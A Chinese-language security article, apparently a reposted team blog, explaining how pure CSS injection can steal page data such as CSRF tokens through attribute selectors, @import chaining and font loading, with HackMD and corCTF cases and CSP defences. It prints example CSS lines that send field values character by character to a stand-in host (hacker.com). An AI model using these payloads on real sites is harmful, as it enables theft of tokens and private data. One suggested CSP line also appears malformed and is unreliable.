警惕!纯 CSS 也能偷数据?这种攻击比 XSS 更隐蔽!

admin 2025年6月26日00:39:50评论3 views字数 1875阅读6分15秒阅读模式

你以为只有 JavaScript 能搞破坏?大错特错!当黑客盯上你的网站时,一行 CSS 代码就能悄悄偷走敏感信息 —— 从 CSRF Token到页面文本,甚至 JavaScript 代码!

今天就来揭开纯 CSS 攻击的神秘面纱,看看黑客如何用样式代码发动 “视觉欺骗”。👇

一、CSS 注入:被低估的 “样式黑客”

传统攻击如 XSS 依赖 JavaScript 执行,但 CSS 注入更 “狡猾”:

  • 无需 JS 参与:仅通过<style>标签注入恶意 CSS,绕过 CSP 策略限制

  • 隐蔽性极强:仅修改页面样式,肉眼难辨异常,却能窃取数据

  • 攻击链完整:结合属性选择器、字体加载等特性,实现数据外漏

举个栗子:黑客注入以下 CSS,就能通过背景图片请求,判断输入框 value 值的首字符:

input[name="secret"][value^="a"] { background: url(https://hacker.com?q=a) }input[name="secret"][value^="b"] { background: url(https://hacker.com?q=b) }

当浏览器加载对应样式时,服务器会收到带参数的请求,从而窃取 “secret” 字段的值。

二、黑客的 CSS 攻击工具箱

1. 属性选择器:精准定位数据

通过[attribute^=value]等选择器,黑客可定位特定属性的元素,配合背景图请求窃取数据。即使是type="hidden"的表单字段,也能通过相邻元素间接触发请求:

input[name="csrf-token"][value^="a"] + input { background: url(https://hacker.com?q=a) }
2. @import 动态加载:字符逐个偷

利用 CSS 的 @import 规则,黑客可构建循环加载机制:

  • 首次请求加载@import url(https://hacker.com/start?len=8)

  • 服务器响应分阶段的 Payload,逐字符窃取数据(如先偷首字符,再偷第二位)

  • 通过域名分流(如主域加载 CSS,子域加载背景图)绕过浏览器请求限制

3. 字体攻击:从 “看字” 到 “偷字”
  • unicode-range:为特定字符设置外部字体,通过字体加载请求判断字符存在
  • 字体高度差:利用不同字体的高度差异,结合滚动条样式触发数据外漏
  • 连字技巧:自定义字体将字符组合渲染为宽元素,通过滚动条是否出现判断字符组合

三、实战案例:黑客如何攻破 HackMD?

HackMD 曾因允许<style>标签且 CSP 配置宽松,被发现可通过 CSS 注入窃取 CSRF 令牌:

(1)黑客注入 CSS,利用属性选择器定位隐藏的 csrf-token 字段

(2)通过实时更新机制,分阶段替换 Payload,逐字符窃取令牌

(3)虽然 HackMD 检查 Origin 头阻止 CSRF,但令牌泄露已构成严重威胁

更夸张的是 corCTF 挑战赛中,黑客通过 iframe 嵌套 + DOM 覆盖,用 CSS 注入窃取 React 应用的页面数据 —— 这证明 CSS 攻击与其他漏洞结合时,破坏力会指数级增长!

四、防御指南:三步筑牢 CSS 安全防线

  1. 严格过滤<style>标签:禁用用户输入中的<style>标签,或使用 CSP 的style-src 'self'限制样式来源

  2. 限制字体与资源加载:

    • 通过 CSP 的font-src限制字体来源,阻止恶意 @font-face 加载
    • 禁用@import语法:style-src 'self' 'unsafe-inline' -url(https:)
  3. 增强数据防护机制:

    • CSRF 令牌除了隐藏字段,可同时存于 HTTP 头(如 Origin),双重验证
    • 对敏感数据所在元素添加特殊防护,避免被属性选择器定位

结语

CSS 注入就像网络安全中的 “隐形刺客”,用样式层的伪装实施攻击。随着浏览器对 CSS 功能的扩展(如:has 选择器),攻击手段还在进化。开发者需将 CSS 安全纳入防御体系,别让一行样式代码成为系统漏洞的突破口!

参考资料:CSS 注入原理解析实战案例:CSS 窃取数据全流程

🔍 完整内容,请查看原文链接,欢迎少侠们关注与注册东方隐侠官方网站“隐侠安全客栈”📢 你的网站测过 CSS 注入风险吗?评论区聊聊你的防护经验!

关注东方隐侠安全团队 一起打造网安江湖

东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识,提供一流网络安全服务,敬请关注!

警惕!纯 CSS 也能偷数据?这种攻击比 XSS 更隐蔽!

公众号|东方隐侠安全团队

警惕!纯 CSS 也能偷数据?这种攻击比 XSS 更隐蔽!

请添加团队微信号|东方隐侠安全团队

用于拉少侠们进团队交流群

原文始发于微信公众号(东方隐侠安全团队):警惕!纯 CSS 也能偷数据?这种攻击比 XSS 更隐蔽!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日00:39:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   警惕!纯 CSS 也能偷数据?这种攻击比 XSS 更隐蔽!https://cn-sec.com/archives/4168959.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息